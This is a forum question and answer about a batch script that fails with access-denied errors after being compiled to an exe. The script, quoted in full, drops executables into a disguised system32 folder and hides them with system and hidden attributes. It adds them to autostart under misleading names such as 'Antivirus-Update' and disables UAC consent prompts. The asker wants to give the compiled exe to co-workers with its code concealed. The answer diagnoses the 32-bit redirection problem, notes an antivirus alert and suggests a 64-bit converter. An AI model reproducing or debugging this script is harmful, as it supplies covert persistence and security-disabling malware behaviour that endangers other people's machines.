This issue is eating my brains of. I have a simple batch file which makes a directory in %SYSTEMROOT%
only if it does not exist & copies certain files to that directory, adds the attribute +S +R +H
to them, adds two programs to startup via registry and disables UAC as I need it frequently like 3x day. It works well as a batch file but I want to distribute it to my fellow company mates. We all are having a competition in this so I do not need them to see my code; I know if I am still at the level of batch scripting than my code is not worth copying but my mates are also not the brightest bulbs!
My issue is that when I convert it to exe using Quick Batch Convertor
as the moment it becomes an exe it starts giving Access denied error
only when It gets to copy the files in %SYSTEMROOT%
even though I am running it as administrator and the disabling UAC command, which is C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
works, which, originally should require admin privileges. Its only the the copying of files that give access denied when converted into exe. They all just work fine if it is in a form of batch.I know that this might be off topic but I suspect foul play on the batch file and not the Quick Batch Converter
because I have converted many files using this converter an they worked flawless.
The code for my batch is here
@echo off
echo %CD%
cd %~dp0
Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "\"C:\Windows\System32\SystemSettingsUpdate\HL~Realtime~Defense.exe\" " /f
Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Antivirus-Update " /t REG_SZ /d "\"C:\Windows\System32\SystemSettingsUpdate\Configure.exe\" " /f
if not exist "%SYSTEMROOT%\system32\SystemSettingsUpdate" mkdir %SYSTEMROOT%\system32\SystemSettingsUpdate
cd %~dp0
taskkill /f /im configure.exe
copy "%~dp0HL~Realtime~Defense.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
copy "%~dp0Whatsapp,Inc.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
copy "%~dp0Configure.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\Configure.exe
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\Whatsapp,Inc.exe
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\HL~Realtime~Defense.exe
C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
exit
Any Suggestions?
This answer does not resolve your problem; it's intended for explanation of strangely unusual behaviour of compiled script. Described issue is not solvable with this 32-bit Quick Batch File Compiler. For proof, create a batch script
battoexeTest.bat
containingOutput (elevated; note that I have redirected user's
%temp%
and%tmp%
variables):If you run compiled version of above script
batToExeTestY.exe
elevated, output would change as follows:You can see that
batToExeTestY.exe
creates a copy of original batch script with some random name8YQTO48H.bat
in temporary directory of accountSYSTEM
, seeCommandLine
;32bit
command line, seeExecutablePath
.Read File System Redirector chapter in MSDN article Running 32-bit Applications:
Example: run
attrib
under 64-bit command line prompt (C:\Windows\system32\cmd.exe
) regardless of elevated or not:If you run
attrib
ordir
under 32-bit command line prompt, then WOW redirectorC:\Windows\system32\SystemSettingsUpdate
file directory although%SYSTEMROOT%\sysWOW64\SystemSettingsUpdate
one.Take a look:
Moreover, trying to run your batch script (slightly adapted for testing purposes and then compiled) elevated but AVG Internet Security Ultimate complains in its Resident Shield:
and on
copy "%~dp0XYZ.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
line and/or onattrib
lines in its Identity Protection module:Could be a false positive, but you definitely need to use some virus-free and 64-bit-compliant bat to exe converter…